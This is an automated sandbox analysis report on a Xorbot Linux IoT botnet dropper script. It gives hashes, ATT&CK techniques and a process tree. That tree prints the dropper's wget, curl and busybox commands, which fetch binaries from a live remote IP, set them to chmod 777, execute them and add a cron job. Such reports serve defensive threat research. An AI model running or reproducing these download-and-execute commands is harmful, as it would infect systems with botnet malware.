xorbot | 651facfa97c82b41031bd4d86471086561fd460b8d7a974018fd5f2fad2b81af

Analysis

max time kernel
150s
max time network
157s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01-12-2024 02:12

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General

Target

bins.sh
Size

10KB
MD5

2e0f38cfc6726b8feda8dfd9a839df81
SHA1

d140fedfb105520013211fe1a1abbc9de5d560d0
SHA256

651facfa97c82b41031bd4d86471086561fd460b8d7a974018fd5f2fad2b81af
SHA512

900ecfb5f6760b7523bd53f377a30abdad640c34b4d3d180da8449bd8c84b7f47d41c80fa4757a289a1a99b14d657a1ddeffde3baa9b7dccfee61266bd76c029
SSDEEP

192:M/fXV8QRDE/Lj23cEns7Vw8sLjwEc7r//Lj23cFVw86DwEc7ri/fXV8QM:M/fXV8QRDE/Lj23cEns70W/Lj23cFq/C

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2073) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
680	chmod
720	chmod
828	chmod

Executes dropped EXE 3 IoCs

Processes:

NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYEzZUAX0wIalsy3fvEh5B8X31RVZEQx55kUjsOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz

ioc	pid	Process
/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	681	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	722	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
/tmp/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz	829	sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz

Renames itself 1 IoCs

Processes:

zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

pid	Process
723	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Zvi6fM	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUjcurlcrontabcrontab

description	ioc	Process
File opened for reading	/proc/907/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/19/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/764/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/781/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/900/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/769/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/772/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/930/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/965/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/10/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/25/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/274/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/737/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/991/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/1012/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/873/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/927/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/959/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/98/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/758/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/798/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/803/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/898/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/932/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/973/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/750/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/783/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/852/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/1034/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/21/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/151/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/647/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/801/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/295/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/307/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/913/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/942/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/1/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/599/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/740/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/795/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/951/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/1002/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/42/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/587/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/826/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/846/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/813/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/858/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/1006/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/1036/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/948/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/741/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/811/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/929/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/791/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/796/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/844/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/963/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/971/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/833/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	wget
File opened for modification	/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	curl
File opened for modification	/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	busybox
File opened for modification	/tmp/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz	busybox
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	wget
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	curl
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:648
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:650
- /usr/bin/wget
  wget http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Writes file to tmp directory
  PID:652
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:674
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  ./NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Executes dropped EXE
  PID:681
- /bin/rm
  rm NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  PID:683
- /usr/bin/wget
  wget http://216.126.231.240/bins/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Writes file to tmp directory
  PID:684
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:701
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Writes file to tmp directory
  PID:714
- /bin/chmod
  chmod 777 zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  ./zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:722
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:724
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:725
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:727
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:728
- /bin/rm
  rm zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  PID:738
- /usr/bin/wget
  wget http://216.126.231.240/bins/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  PID:744
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  ./sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  PID:831
- /usr/bin/wget
  wget http://216.126.231.240/bins/C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr
  2⤵
  PID:832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.Zvi6fM

Filesize
210B

MD5
e7f2b1673bffc90d68de92158b913246

SHA1
778ef5d4b8f37c5e1ac11379d487bb6b7e13f47d

SHA256
7783579eac32772d21c02edeeae88095566193b1863fff614163882de2e78c73

SHA512
5b7f75f7671c5ef5704b5fd39d03c82d1d8871fbf44598632cb4c7b790655b2c07d901e1675970003320e826f623d05436cd769476f652d6fc6ac6c034c2819a

Download Submit